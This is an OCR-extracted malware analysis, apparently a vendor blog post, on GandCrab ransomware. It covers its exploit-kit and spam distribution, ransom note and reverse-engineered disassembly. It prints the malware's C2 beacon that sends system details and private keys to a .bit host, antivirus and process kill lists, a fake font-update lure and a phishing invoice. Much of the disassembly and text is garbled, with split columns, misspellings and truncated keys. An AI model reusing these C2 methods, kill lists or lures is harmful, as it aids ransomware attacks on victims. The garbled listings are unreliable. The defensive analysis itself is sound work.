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Update (2018-04-16): Magnitude EK has switched from Magniber to GandCrab.

Update (2018-02-28): Major development with GandCrab. A decryptor for it is available from
NoMoreRansom here. You can read the press release from Europol here.

Update (2018-02-02): GandCrab is delivered via Necurs malicious spam [1].

Update (2018-02-01): GandCrab is now also spread via the ElTest campaign [2] [3].

Late last week saw the appearance of a new ransomware called GandCrab. Surprisingly, it is
distributed via two exploit kits: RIG EK and GrandSoft EK.

Why is this surprising? Other than Magnitude EK, which is known to consistently push the
Magniber ransomware, other exploit kits have this year mostly dropped other payloads, such
as Ramnit or SmokeLoader, typically followed by RATs and coin miners.

Despite a bit of a slowdown in ransomware growth towards the last quarter of 2017, it
remains a tried and tested business that guarantees threat actors a substantial source of
revenue.

Distribution

GandCrab was first spotted on Jan 26 and later identified in exploit kit campaigns.
RIG exploit kit

The well-documented Seamless gate appears to have diversified itself as of late with distinct
threads pushing a specific payload. While Seamless is notorious for having switched to
International Domain Names (IDNs) containing characters from the Russian alphabet, we
have also discovered a standard domain name in a different malvertising chain. (Side note:
that same chain is also used to redirect to the Magnitude exploit kit.)

We observed the same filtering done upstream, which will filter out known IPs, while the
gav[0-9].php step is a more surefire way to get the redirection to RIG EK.
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At the moment, only the gav4.php flow is used to spread this ransomware.
GrandSoft exploit kit

This exploit kit is an oldie, far less common, and thought to have disappeared. Yet it was
discovered that it too was used to redistribute GandCrab.
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41¢ | alhPCwHTAUE = SSwe=WoleB =
417 | Dim Le8ytXZIODROgI1SZ

418 | end if

415 | Dim B2TgrkePcggsls3

420
42] | Dim PSJamBNOMGsnlsS4
42z
422 | Dim b7kfggdERkh1S5

424 | FZLrTnlkLEEM = " _exe™

25 | Dim CZxsGFhgZlSe
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4259 | Set S525PfglIhiu=Createlbiject (welUNikEiavF=)

430 | Dim wOWLrkrUlS8

421 | 525P£gQThiu.Open o
423:21 QuickFind... | | Find & Replace Readonly
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GrandSoft EK’s landing page is not obfuscated and appears to be using similar functions
found in other exploit kits.

ElTest

This campaign is served via compromised websites.

The "HoeflerText" font wasn't found. G chrome

Step 1: In the bottom left corner of the screen you'll see the download bar. Click on the Chrome_Font.exe item.
Step 2: Press Yes(Run) in order to see the correct content on the web page.
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Necurs malspam

Necurs started dropping GandCrab as well.
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From: | Sent:  Fri 2/2/2018 4:30 AM
Ta: |
Co
Subject: Unpaid invaice £ 4822323

=] Message Eln\toice_Ref_4822323.Tz [2 KB}

Dear Client,

According to the reconciliation of the Department of Finance
there are the arrears following your client account totaling
in 5668.64

We attach the last unpaid invoice #4822323 to this letter and
kindly ask you pay it off until Febk 15, 2018.

Please check out the file and do not hesitate to pay off the
debt. We loock forward to your reascnableness.

Ward Ammons

I:‘ Pwilliams

Ransom note

Interestingly, GandCrab is not demanding payment in the popular Bitcoin currency, but rather
a lesser-known cryptocurrency called Dash. this is another sign that threat actors are going
for currencies that offer more anonymity and may have lower transaction fees than BTC.
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© GandCrab Decryptor x4+
i~ € O gddghviygyTjdk.onion/ ¢ Q Search a s é‘
- GandCrab -
Welcome! »
WE ARE REGRET, BUT ALL YOUR FILES WAS ENCRYPTED! % BUY GANDCRABDECRYPTOR @ SUPPORT SERVIGE 2417
AS FAR AS WE KNOWW:
@ What do your need?
Country = United States - You need GandCrab Decryptor.
- TR e E i EAE This software will decrypt all your encrypted files and will delete GandCrab from your PC.
B ) For purchase you need crypto-currency = DASH (1 DASH = 775.638 §).
PC User How to buy this currency you can read it here.
PC Name @ How much money your need to pay? Below we are specified amount and our wallet for
PC Group WORKGROUP payment
PC Lang. en-Us -Price-
1.5 DASH (1200 USD)
HDD
Date of encrypt
-DASH address for payment-
Amount of your files 1417 -
Generating an address.
Volume of your files 1030241268

Please check page later.

@ But don't worry, you can return all your files! We can help you!
Below you can choose one of your encrypted file from your PC and decrypt him, it is test decryptor
for you. -To make a payment, you have this time-

Butwe can decrypt only & 1 file for free.

. 04 02 33 42

Browse... | Mo file selected

Max. file size: 2 Mb. Allowed files: txt, jpgfipeq, jpeg, bmp, png, gif. DAYS HOURS MINUTES SECONDS
ATTENTION! -After this time the amount will double and will be-
Don't try use third-party decryptor tools! 3 DASH (2400 USD)

Because this will destroy your files!
This process is fully autorated, all payments is instant

After your payment, please refresh this page and you can download here GandCrab Decryptor!
If you have any questions, please, dont hesitate, and write in our & Support service 24/7.

GandCrab {v.1.0)

All right reserved © 2012

Technical analysis

After unpacking, the binary is pretty straight forward as far as analysis is concerned. There
were no attempts to obfuscate data or code beyond just the first layer of the packer.
Everything from the exclusion file types to web request variables, URLSs, list of AVs—even
the whole ransom message—is in plain text within the data section. On initial look-through,
you can deduce what some of the functionality might be just by simply looking at the strings
of the binary.

The code flow stays relatively inline, so as far as reverse engineering is concerned, it allows
you to quite accurately analyze it even just statically in a disassembler. The code is divided
up into three main segments: initialization, network, and encryption.

Initialization

After unpacking, GranCrab starts out with a few functions whose tasks are to set up some
information to be used later in the code. It queries information about the user such as:

e username
e keyboard type
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e computer name

e presence of antivirus
e processor type

e |IP

e OS version

o disk space

e system language

e active drives

e locale

¢ current Windows version
e processor architecture

It specifically checks if the keyboard layout is Russian, writes out an integer representation
for that result, and builds a string with all this info. Below is the code that is starting to write
out the variable names to label the information gathered:

.text:00403492 mov eax, [ebptarg 38]

.text:00403495 mov [esi+54h], eax

.text:00403498 mov eax, [ebp+arg_48]

.text:0040349B mov [esi+74h], eax

.text:0040349E mov eax, [ebp+arg 50]

.text:004034A1 mov dword ptr [esi+4], offset aPc_user ; "pc_user”
.text:004034A8 mov dword ptr [esi+10h], offset aPc_name ; "pc_name"
.text:004034AF mov [esi+18h], ecx

.text:004034B2 mov dword ptr [esi+1Ch], offset aPc_group ; "pc_group”
.text:004034B9 mov dword ptr [esi+28h], offset aAv ; "av"
.text:004034C0 mov dword ptr [esi+34h], offset aPc_lang ; "pc_lang”
.text:004034C7 mov dword ptr [esi+40h], offset aPc_keyb ; "pc_keyb"
.text:004034CE mov dword ptr [esi+4Ch], offset aOs_major ; "os_major"
.text:004034D5 mov dword ptr [esi+58h], offset aOs_bit ; "os_bit"
.text:004034DC mov [esi+60h], ecx

.text:004034DF mov dword ptr [esi+64h], offset aRansom_id ; "ransom_ id"
.text:004034E6 mov dword ptr [esi+78h], offset aHdAd ; "hdd"
.text:004034ED mov [esi+80h], eax

.text:004034F3 mov dword ptr [esi+88h], offset aIp ; "ip"
.text:004034FD call ds:GetProcessHeap

.text:00403503 mov [esi+8Ch], eax

.text:00403509 mov eax, esi

.text:0040350B pop esi

It then cycles through all letters of the alphabet querying if a drive exists and what type it is. If
it is a CDRom, unknown, or non existent, it skips it. If a fixed drive is found, it copies its name
to a buffer and copies a string describing what type of drive it is. For example, the C: drive

is FIXED.

It then gets disk free space and information on sectors that it converts into another series of
numbers via printf function tokens: C:FIXED_64317550592. It continues this for every drive
and builds a list.

It puts all of the information gathered on the system together and you can assume, before
you even get to this point in the code, that this will be sent up to a C2 server at some point,
as itis in the format of a GET request. Here is an example of how the system info gets
structured below:

1p=99.8.160.100&pc_user=virusLab&pc_name=VI
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It also searches running processes, checking against a finite set of antivirus programs that
will also be converted to the info string for the C2 server.

B12F67FD || . 53 PUSH EB¥ Address =>» HNULL

@12F67FE || . €745 BS @COB3EMOU DWORD PTR $S: [EBP-Bx481,40@0AA_G.@ | UNICODE “AUP.EXE"
H1Z2Fe8a5 || . 5 BC 1CHH3E MOU DUWORD PTR SS: [EBP-0x44]1.4008088_G.H | UNICODE "ekrn.exe™
A12Fe8AC || . ¢M5 CA 3AAH3({ MOU DUORD PTR S5:[EBP-Ax40]1.400008_G.H | UNICODE "avwgnt.exe''
A12F6813 || . G5 C4 44@83( MOU DWORD PTR S5:[EBP-@x3C1.40AAAA_G.H | UNICODE "ashDisp.exe"
@i2Fe81in || . G5 C8 5CA83( MOU DUWORD PTR S5:[EBP-@x381.40A00A_G.H | UNICODE "MNortonAntiBot.exe"'
H12Fe821 || . CM5 CC 8a8883( MOU DUORD PTR SS5:[EBP-8x341.4068008_G.H | UNICODE "Mcshield.exe”
HWi2Fe828 || . CM5 DA 7CAH3E MOU DUORD PTR SS:[EBP-8x301.400008_G_H | UNICODE "avengine.exe"
A12F682F || . C7M5 D4 BEAS3({MOU DUORD PTR SS5:[EBP-BAx2C]1.408008_G.H | UNICODE "cmdagent.exe”
@12F6836 || . G5 DS D4A83( MOU DWORD PTR SS5: [EBP-Ax281.4000AA_G.H | UNICODE 'smc.exe''
@12F683D || . C?45 DC E4B83( MOU DWORD PTR SS: [EBP-Bx241,40@0@6_G.d [ UNICODE “persfu.exe"
H12F6844 || . C5 EA FCAH3( MOU DWORD PTR SS5: [EBP-Bx201]1.400888_G.H | UNICODE "pccpfu.exe”
A12F684E || . CM5 E4 14893( MOU DUORD PTR SS5:[EBP-Ax1C1.408008_G.H | UNICODE "fsguiexe.exe"
@i12Fe852 || . C?5 ES 3AA93( MOU DWORD PTR SS5: [EBP-Ax181.4000AA_G.H | UNICODE '"cfp.exe"
@12F6859 | . G745 EC 48@93( MOU DYORD PTR $S: [EBP-Bx141.4PAPAA_G.A| UNICODE “msmpeng.exe"
RGN | - FFD6 ALL ESI LUirtualAlloc

It then proceeds to create a mutex with some system info along with a generated ID. For
example:

Global\pc_group=WORKGROUP&ransom_id=c9ed65de824663f

.text:00404017 call Build_surveryStringOnStack?PCNAME_Etc
.text:0040401C lea ecx, [esp+0A8h+var_ 90]

.text:00404020 call GetUserAndSystemInfo_ProcTypeEtc_InetREQ GetIP
.text:00404025 lea ecx, [esp+OA8h+var 90]

.text:00404029 call StrLensEtc

.text:0040402E mov esi, eax

.text:00404030 lea ecx, ds:42h[esi*2]

.text:00404037 push ecx ; dwSize
.text:00404038 lea ecx, [esp+0ACh+var AO]

.text:0040403C call CallvirtAlloc

.text:00404041 lea eax, ds:40h[esi*2]

.text:00404048 push eax

.text:00404049 lea ecx, [esp+0ACh+var AO]

-text:0040404D call someCompsares_unsure

.text:00404052 mov esi, eax

.text:00404054 push offset aGlobal ; "Global\\"
.text:00404059 push esi ; lpStringl
.text:0040405A call ds:lstrcpyW

.text:00404060 push esi ; lpString
.text:00404061 call ds:lstrlenwW

.text:00404067 lea ecx, [esiteax*2]

.text:0040406A push ecx ; lpStringl
.text:0040406B lea ecx, [esp+0ACh+var 90]

.text:0040406F call BuildsStringWithAllInfo ; builds mutex name, ransom ID etc
.text:00404074 push esi ; lpName Global\pc group=WORKGROUP&ransom id=c9ed65de824663fc
.text:00404075 push edi ; bInitialOwmer
.text:00404076 push edi ; lpMutexAttributes
.text:00404077 call ds:CreateMutexW

.text:0040407D mov esi, ds:GetLastError

.text:00404083 call esi ; GetLastError

.text:00404085 cmp eax, 5

.text:00404088 jz short loc_404093

.text:0040408A call esi ; GetLastError

.text:0040408C cmp eax, OB7h

In order to initialize itself for the future encryption, it cycles through a hardcoded list of
processes to kill. This is a common technique among ransomware that attempts to kill
processes that might have a lock on certain files, which it would like to encrypt.
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.text:00404153 mov [ebptvar_60], offset aTbirdconfig_ex ; "tbirdconfig.exe"

.text:0040415A mov [ebp+var 5C], offset aOcomm exe ; "ocomm.exe"
.text:00404161 mov [ebptvar 58], offset aMysqld_exe ; "mysgld.exe”
.text:00404168 mov [ebp+var 54], offset aMysqldNt_exe ; "mysqld-nt.exe”
.text:0040416F mov [ebptvar_50], offset aMysqldOpt_exe ; "mysqld-opt.exe"
.text:00404176 mov [ebp+var 4C], offset aDbeng50_exe ; "dbeng50.exe”
.text:0040417D mov [ebptvar_ 48], offset aSgbcoreservice ; "sgbcoreservice.exe"
.text:00404184 mov [ebp+var 44], offset aExcel_exe ; "excel.exe"
.text:0040418B mov [ebptvar_40], offset aInfopath_exe ; "infopath.exe"
.text:00404192 mov [ebp+var 3C], offset aMsaccess_exe ; "msaccess.exe”
.text:00404199 mov [ebp+var_38], offset aMspub_exe ; "mspub.exe”
.text:004041A0 mov [ebp+var 34], offset aOnenote_exe ; "onenote.exe”
.text:004041A7 mov [ebp+var_30], offset aOutlook_exe ; "outlook.exe"
.text:004041AE mov [ebp+var 2C], offset aPowerpnt_exe ; "powerpnt.exe"
.text:004041B5 mov [ebp+var 28], offset aSteam exe ; "steam.exe"
.text:004041BC mov [ebp+var_24], eax

.text:004041BF mov [ebp+var 20], offset aThebat_exe ; "thebat.exe"
.text:004041C6 mov [ebp+var 1C], offset aThebat64_exe ; "thebat64.exe"
.text:004041CD mov [ebp+var 18], offset aThunderbird_ex ; "thunderbird.exe”
.text:004041D4 mov [ebptvar_14], offset aVisio_exe ; "visio.exe"
.text:004041DB mov [ebp+var 10], offset aWinword exe ; "winword.exe"
.text:004041E2 mov [ebptvar_C], offset aWordpad_exe ; "wordpad.exe"
.text:004041E9 call ds:CreateToolhelp32Snapshot

.text:004041EF push 4 ; flProtect

.text:004041F1 push 3000h ;3 flAllocationType

.text:004041F6 mov ebx, 22Ch

.text:004041FB mov edi, eax

.text:004041FD push ebx ; dwSize

.text:004041FE push 0 ; lpAddress

.text:00404200 mov [ebp+hSnapshot], edi

.text:00404203 call ds:Virtualalloc

.text:00404209 mov esi, eax

.text:0040420B test esi, esi

.text:0040420D jz short loc_40421E

.text:0040420F mov [esi], ebx

.text:00404211 cmp edi, OFFFFFFFFh

.text:00404214 jz short loc_40421E

.text:00404216 push esi ;s lppe

.text:00404217 push edi ; hSnapshot

.text:00404218 call ds:Process32FirstwW

-text:0040421E

KEY PROCESS LIST:

msftesql.exe sglagent.exe sqlbrowser.exe
sqlservr.exe sqlwriter.exe oracle.exe
ocssd.exe dbsnmp.exe synctime.exe
mydesktopqos.exe agntsvc.exe isqlplussvc.exe
xfssvccon.exe mydesktopservice.exe ocautoupds.exe
agntsvc.exe agntsvc.exe agntsvc.exe
encsvc.exe firefoxconfig.exe tbirdconfig.exe
ocomm.exe mysqld.exe mysqld-nt.exe
mysqld-opt.exe dbeng50.exe sgbcoreservice.exe
excel.exe infopath.exe msaccess.exe
mspub.exe onenote.exe outlook.exe
powerpnt.exe steam.exe thebat.exe
thebat64.exe thunderbird.exe visio.exe
winword.exe wordpad.exe

Next, it calls the built-in crypto functions to generate keys. GandCrab generates the public
and private keys on the client side and uses the standard Microsoft crypto libraries available

using API calls from Advapi32.dll. It calls CryptGenKey with the RSA algorithm.
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.text:004053BD
.text:004053C2
.text:004053C4
.text:004053C7
.text:004053C8
.text:004053CE
.text:004053D0
.text:004053D2
.text:004053D4
.text:004053D6
.text:004053D6
.text:004053D6
.text:004053D6
.text:004053D8
.text:004053D8
.text:004053D8
.text:004053D8
.text:004053DA
.text:004053DC
.text:004053DC
.text:004053DC
.text:004053DC
.text:004053DC
.text:004053DF
.text:004053E0
.text:004053E5
.text:004053EA
.text:004053ED
.text:004053F3
.text:004053F5
.text:004053F7
.text:004053F8
.text:004053F8
.text:004053F8
.text:004053FC
.text:004053FF
.text:00405402
.text:00405404
.text:00405406
.text:00405408

loc_4053D8:

loc_4053DC:

loc_4053F8:

Network connection

and

push
push
push
push
push
push

offset szProvider ; "Microsoft Enhanced Cryptographic Provid"...
0 ; szContainer

eax, [ebp+phProv]

eax | ; phProv

ds:CryptAcquireContextW

eax, eax

short loc_4053D6

eax, eax

short loc_40543D

eax, eax
short loc_40543D

CODE XREF: GenKeyRSA+1D1j
; GenKeyRSA:loc_4053D61j
eax, [ebp+phKey]

~

eax ; phKey

8000001h ; dwFlags

0A400h ; Algid CALG_RSA_KEYX

[ebp+phProv] ;7 hProv rfrom cryptoget context func
ds:CryptGenKey

eax, eax

short loc_4053F8

; CODE XREF: GenKeyRSA+681j
[ebpt+var_C], O
[ebp+pdwDatalen] ; pdwDatalen

[ebp+pbData] ; pbData

0 ; dwFlags
PUBLICKEYBLOB ; dwBlobType
0 ; hExpKey
[ebp+phKey] ; hKey

Now it enters the main loop for the Internet functionality portion of the ransomware. This area
of code either succeeds and continues to the encryption section of code, or it loops again
and again attempting to succeed. If it never succeeds, it will never encrypt any file.

This section starts off by making a GET request to ipv4bot.whatismyipaddress.com that
saves the IP address returned and adds to the GET request string, which has been built with

the system information.

.text:00405DA8
.text:00405DAB
.text:00405DAC
.text:00405DAD
.text:00405DAE
.text:00405DB3
.text:00405DB8
.text:00405DBD
.text:00405DBF
.text:00405DC1
.text:00405DC2
.text:00405DC8
.text:00405DCA
.text:00405DCF
.text:00405DD1
.text:00405DD2
.text:00405DD7
.text:00405DDA
.text:00405DEO
.text:00405DE3
.text:00405DE4
.text:00405DE4
.text:00405DE4
.text:00405DE4
.text:00405DE7
.text:00405DEC
.text:00405DF0
.text:00405DF2

.text:00405DF5
_#avt s NNANKNFR

loc_405DE4:

lea
push
push
push
push
push
call
test
jz
push
call
add
cmp
jnb
push
push
push
call
add
inc

lea
call
cmp
jz
push
call

ecx, [ebp+var_8]

edi ; lpBuffer

esi ; dwOptionalLength
esi | ; lpOptiomnal

offset asc_4103E0 ; "/"

offset szServerName ; "ipvibot.whatismyipaddress.com”
INetSendRequest_HttpRequest paramURL

eax, eax

short loc_405DE4

edi ; lpString
ds:lstrlenA

eax, eax

eax, 80h

short loc_405DE4

edi

offset as_0 ; "ss"
[ebp+arg_0] ; LPWSTR
ds:wsprintfw

esp, OCh

esi

; CODE XREF: INETFUNCS_GetIP+5Atj
; INETFUNCS_GetIP+6ATj

ecx, [ebpt+var_18]

callvirtFree

[ebp+hInternet], 0O

short loc_405DFB

[ebpthInternet] ; hInternet
ds:InternetCloseHandle
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It continues and takes a binary chunk, which is the RSA public key that was stored earlier in
the initialization. That key is converted to base64 via the CryptBinaryToStringA API with the
following parameters:

CRYPT_STRING_NOCRLF and CRYPT_STRING_BASE64

It will be tacked on the the existent GET string, which it has been building this whole time.
Below is an example of the RSA key generated in binary and its conversion, followed by the
finalized GET string with the base64 of the keys in it:

This is an example of an RSA public key generated with the crypto APIs:

A7 ECBDE24943E111 DA 1210 E0 2559 AA83 77 35 FC 3E 49 C8 3B 6C 3D 91 CF FF 96 6E D8
45 FE 8A 58 20 E6 CB 91 AB 99 6A E2 04 EC 58 66 95 05 8C 2F 7E C6 19 6D 24 B5 5F C4 9A 01 3D 3B
FB 31 4E AC 25 07 8C OE 6C 57 4C C0 23 24 BAEB 57 97 17 79 F8 62 73 6B AD B2 09 60 BB B7 9A
CF F9 5B 68 B8 C1 44 07 F5 5E 3E 06 FE C2 35 CF 99 82 29 28 37 1B E6 51 29 6C 0B 87 89 F9 90 26
F7 CC DA 75 C4 46 A1 E3 30 09 CO 6A CB 5E CB 87 8E 40 EF 4C 7E 02 AE E8 06 6A D7 24 FC OE 40
EA 69 CD 6D 8D 24 92 6E 53 2F D2 69 D2 A2 F3 97 54 63 EB D9 C7 BD 9E 41 19 91 F1 6B D6 CA AD
9E OE D3 0B A0 53 50 84 87 6D 49 4C 49 D2 3B 8E 80 F7 7F 35 F1 D7 A7 81 OF 90 04 40 AC 4B 7C ED
3771 8A B1FA84 3333FB62EE04A3C79A47 2C 6464 953D 34 A5CC 126E E4 8140 E6 7F 03
02 C4 57 D6

Which gets converted to:

BgIAAACKAABSUOEXAAQAAAEAAQCN7L31SUPhEdOSEOAlWaqDdzX8PknI02w9kc//1m7YRT6KWCDmMy5Grmwr iBC

And builds the GET string to send to the C2 with all the system information from earlier, and
also the encryption keys:

action=call&ip=99.8.160.100&pc_user=virusLab&pc_name=VIRUSLAB-
PC&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&0s_major=windows 7
Enterprise&os_bit=x64&ransom_id=c9ed65de824663fc&hdd=C:FIXED_64317550592/50065174528&

&priv_key=BwIAAACKAABSUOEYAAgAAAEAAQCN7L31iSUPhEdoSEOAlWaqDdzX8PknI02w9kc//1m7YRTEKWCDN

&version=1.0
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[Crypto key base 64 functions]

.text:00404F09
.text:00404F0D
.text:00404FOE
.text:00404FOF
.text:00404F14
.text:00404F15
.text:00404F18
.text:00404F1B
.text:00404F21
.text:00404F25
.text:00404F27
.text:00404F2B
.text:00404F2E
.text:00404F32
.text:00404F36
.text:00404F37
.text:00404F38
.text:00404F3D
.text:00404F3E
.text:00404F42
.text:00404F44
.text:00404F45
.text:00404F4B
.text:00404F4D
.text:00404F4E
.text:00404F50
.text:00404F52
.text:00404F55
.text:00404F59
.text:00404F5B
.text:00404F5C
.text:00404F61
.text:00404F62
.text:00404F64
.text:00404F65
.text:00404F69

[Section of code that is adding the encoded keys to the get string under pnv /_key parameter]

—an aal

.text: 00405024
.text:00405029
.text:0040502A
.text:0040502C
.text:0040502D
.text:0040502F
.text:00405033
.text:00405036
.text:0040503C
.text:0040503D
.text:0040503E
.text:00405040
.text:00405044
.text:00405046
.text:0040504B
.text:00405051
.text:00405056
.text:00405057
.text:00405059
.text:0040505A
.text:00405060
.text:00405064
.text:00405067
.text:0040506D
.text:0040506E
.text:0040506F
.text:00405071
.text:00405075
.text:00405077
.text:0040507C
.text:00405082
.text:00405087
.text:00405088
.text:0040508A
.text:0040508E
.text:00405094
.text:00405095
.text:00405097
.text:0040509A

lea
push
push
push
push
push
lea
mov
mov
call
mov
lea
mov
lea
push
push
push
push
push
call
push
mov
call
push
mov
call
add
lea
add
push
call
push
call
inc
lea
push

eax, [esp+0F8h+pcchString]

eax
edi
40000001h
esi

; pcchString
; pszString

i
; dwFlags CRYPT_STRING_NOCRLF CRYPT_ STRING_BASE64

; cbBinary

[ebp+pbBinary] ; pbBinary
ecx, [esi+tesi]

esi, ds:CryptBinaryToStringA
[esp+10Ch+pcchString], ecx
esi ; CryptBinaryToStringA ; RSA key 1 public
ecx, [esp+0OF8h+var E4]
eax, [ecx+tecx]
[esp+0OF8h+pcchString], eax
eax, [esp+0F8h+pcchString]

eax
ebx
40000001h
ecx

; pechString
; pszString
; dwFlags

; cbBinary

[esp+108h+var_ E8] ; pbBinary
esi ; CryptBinaryToStringA ; |RSA key 2 priovate

ebx

; lpString

ebx, ds:lstrlenA
ebx ; lstrlenA

edi ; lpString
esi, eax

ebx ; lstrlenA

eax, 42h

ecx, [esp+0F8h+var_ DO]
eax, esi

eax ; dwSize
CallvirtAlloc

edi ; lpString

ecx, [esp+OF8h+var DO]

push
push
call
push
call
push
lea

call
push
push
push
push
push
push
call
push
push
call
push
call
push
lea

call
push
push
push
push
push
push
call
push
push
call
mov

mov

push
call
shl

lea

offset aPub_key_O
edi H
ebx ; lstrcatw

edi ;

esi ; lstrlenw

[esp+0F8h+1pMultiByteStr] ; lpString

esi, [edit+eax*2]

i &puh_key—
lpStringl

lpString

s g

ds:lstrlenA

eax ; cchWideChar

esi ; lpWideCharStr

OFFFFFFFFh ; cbMultiByte

[esp+104h+lpMultlByteStr] ; lpMultiByteStr
; dwFlags

OFDEQh ; CodePage

ds:MultiByteToWideChar

offset aPriv_key ; "&priv_key="

edi ; lpStringl

ebx ; lstrcatw

edi ; lpString

ds:lstrlenW

[esp+0F8h+var_ ES8]
esi, [edit+eax*2]
ds:lstrlenA

eax ;
esi ;
OFFFFFFFFh ;
[esp+104h+var_E8]

OFDESh

ds: MultlByteToWLde
offset aVersionl_0
edi ;
ebx ; lstrcatw
esi, [esp+0F8h+1pS
ebx, ds:lstrlenW
esi ;
ebx ; lstrlenw
eax, 4

; lpString |

cchWideChar
lpWideCharStr
cbMultiByte

; lpMultiByteStr

; dwFlags
; CodePage
Char

: "&version=1.0"

lpStringl
tringl]

lpString

ecx, [esp+0F8h+var_ AO]

- aas sy arass

At this point, it is clear that the malware will be sending this info to the C2 server. This is
interesting because it may be possible to pull the keys from memory and use them for the
decryption of files.We will continue to investigate this and update the article if any discoveries

are found.
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GandCrab’s server is hosted on a .bit domain, and therefore it has to query a name server
that supports this TLD. It does this by querying for the addresses of the following domains

using the command:

nslookup [insert domain]

This command queries the a.dnspod.com name server, which support the .bit TLD for one of
the domains below.

bleepingcomputer.bit
nomoreransom.bit
esetnod32.bit

emsisoft.bit
gandcrab.bit

The NSlookup child process is opened through a pipe that was created. This is done so that
a child process can directly affect the memory in the parent process, rather than transferring

a.dnspod.com.

outputs manually back and forth. It is an interesting and useful technique. You can look at the
following section of code for more details:

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:

00404792
00404740
004047A7
004047A8
004047AA
004047B0
004047B4
004047B6
004047B8
004047BB
004047C2
004047cC3
004047C5
004047CA
004047CB
004047D0
004047D3
004047D9
004047DB
004047DD
004047DF
004047E0
004047E6
004047EC
004047EE
004047F0
004047F2
004047F4
004047F7
004047F8
004047FD
00404802
00404808
0040480A
0040480C
00404812
00404814
00404816
00404818

call
lea
push
push
call
and
mov
push
lea
mov
push
xor
push
inc
push
mov
call
test
jz
push
push
push
mov
call
test
jz
push
lea
push
push
push
call
push
push
push
call
test

j=z
call

ds:1lstrlenwW

eax, ds:2[eax*2]

eax ; dwSize

0 ; lpAddress

ds:VirtualAlloc
[ebp+PipeAttributes.lpSecurityDescriptor], O
esi, eax

0 ; nSize

eax, [ebp+PipeAttributes]
[ebp+PipeAttributes.nLength], OCh

eax ; lpPipeAttributes
edi, edi

offset hWritePipe ; hWritePipe
edi

offset hObject ; hReadPipe
[ebp+PipeAttributes.bInheritHandle], edi
ds:CreatePipe

eax, eax
short loc_404824

0 ; duFlags
edi ; dwMask
hobject ; hobject

edi, ds:SetHandleInformation

edi ; SetHandleInformation

eax, eax

short loc_404824

0 ; nSize

eax, [ebp+PipeAttributes]

eax ; lpPipeAttributes
offset dword_412B28 ; hWritePipe
offset hReadPipe ; hReadPipe
ds:CreatePipe

0 ; duwFlags

1 ; dwMask
dword_412B28 ; hObject

edi ; SetHandleInformation

eax, eax

short loc_404824

createsChild getIpOfGrandcrab bit usingCustomDNS

The ransomware now attempts to send data to the server, and if an error occurs or the
server was not reachable, it continues this whole process in an infinite loop until it finds one
that works, re-querying for client IP and running nslookup again and again with different IP
outputs. Unless it connects with the server, it will run until it is closed manually.
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00404C35
00404C3A
00404C3B
00404cC41
00404C47
00404c4c
00404C52
00404C53
00404C59
00404C5A
00404C60
00404C61
00404C66
00404C69
00404C6C
.text:00404C6D
.text:00404C6F
.text:00404C72
.text:00404C75
.text:00404C76
.text:00404C77
.text:00404C7D
.text:00404C7E
.text:00404C7F
.text:00404C84
.text:00404C86
.text:00404C88
.text:00404C89
.text:00404C8D
.text:00404C8F
.text:00404C92
.text:00404C95
.text:00404C99
.text:00404C9E
.text:00404CA0
.text:00404CA2
.text:00404CA5
.text:00404CA7
.text:00404CA9
.text:00404CAC

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:

As mentioned before, it will not continue to the encryption routine until it finds a server, which

agfée£7;6u;i;§£§;éoken ; "curl.php?token="

eax

; lpStringl

ds:lstrcpyW
ecx, [ebp+Stringl] ; lpString
sub_404A50

eax, [ebp+String]

; lpString

ds:lstrlenW

eax

; dwHeadersLength

eax, [ebp+String]

offset szVerb ;

esp,

[ebp+lpBuffer] ;

ebx

0Ch

; lpszHeaders
"POST"

lpBuffer
lpString

~

esi ; lstrlenA
esi, [ebp+lpAddress]
ecx, [ebp+var_ 14]

eax
ebx

; dwOptionalLength
; lpOptional

eax, [ebp+Stringl]

eax
esi

INetSendR«

eax,

; int
; lpszServerName

t t
q c_HtipRedq

short loc_404CB2

edi

[ebp+arg 0], O

short loc_404CB2

ecx, [ebp+lpBuffer] ; pszString
edx, [ebp+lpAddress]
[ebp+lpAddress], 0O

sub_4048CE

eax,

eax

short loc_404CBO
eax, [ebp+lpAddress]

eax,

short loc_404CB2
ecx, [ebp+var_ 18]
[ecx], eax

means it will enter in an infinite loop of IP requests:

.text:0040431B
.text:0040431B

.
r

.text:0040431B loop sendInfoINET:

.text:0040431B
.text:0040431B
.text:0040431F
.text:00404321
.text:00404324
.text:00404325
.text:00404328
.text:0040432B
.text:0040432E
.text:00404331
.text:00404336
.text:00404339
.text:0040433B
.text:0040433D
.text:00404342
.text:00404348
.text:0040434A
.text:0040434A
.text:0040434A
.text:0040434A
.text:00404351
.text:00404351

.
r

jmp_succeed:

loc_404351:

cmp
jnz
lea
push
push
push
mov
mov
call
add
test
jnz
push
call
jmp

mov

jmp

; CODE XREF: START+6E'j

; START:loc_404351,j
[ebpt+var_ 28_succCheck], 0 ; CONTINUE HERE!!!!
short jmp_foundWorkingMalIP

eax, [ebp+lpString]
eax ; int
[ebp+cbBinary] ; cbBinary

[ebpt+var_20] ; pbBinary
edx, [ebptvar_ 24]

ecx, [ebptvar_14]
BuildsDataToSendToC2_INETSendsPubKey_ more
esp, OCh

eax, eax

short jmp_succeed

2710h ; dwMilliseconds

ds:Sleep

short loc_404351

; CODE XREF: START+981j
[ebp+var_28_succCheck], 1

; CODE XREF: START+A51j
short loop sendInfoINET ; loops until send succeeds

Once it finds one of these, it continues to open a thread that will start the main encryption
functionality. However, before it begins, it opens another thread that creates a window and
labels itself as Firefox.The window is loaded with code that will copy itself to the temp
directory and set itself up in the registry. This is actually one of the few parts of the malware
that is not taken directly from plain text. The file name copy of itself is a random series of
letters generated by calling the cryptGenRandom function, and using its output on an array

of letters.

t_paramURL ; send curl request with data to grandcrab.bit

13/17



The strange part about this function is not what it does, because it is creating persistence
that we had been waiting for, but rather why a window was created in the first place. As far
as we could understand, there is no benefit of launching a window to perform these tasks.
Maybe it was experiment on the part of the author, but the intent remains unclear.

+EeXE:100402DDS ; -
.text:00402DD5

»text:00402DD5 loc_402DD5: ; CODE XREF: Thread_CreateWindow_GRandCrab_FirefoxFake?+711j
.text:00402DD5 call esi ; GetModuleHandleW
.text:00402DD7 push ebx ; lpParam
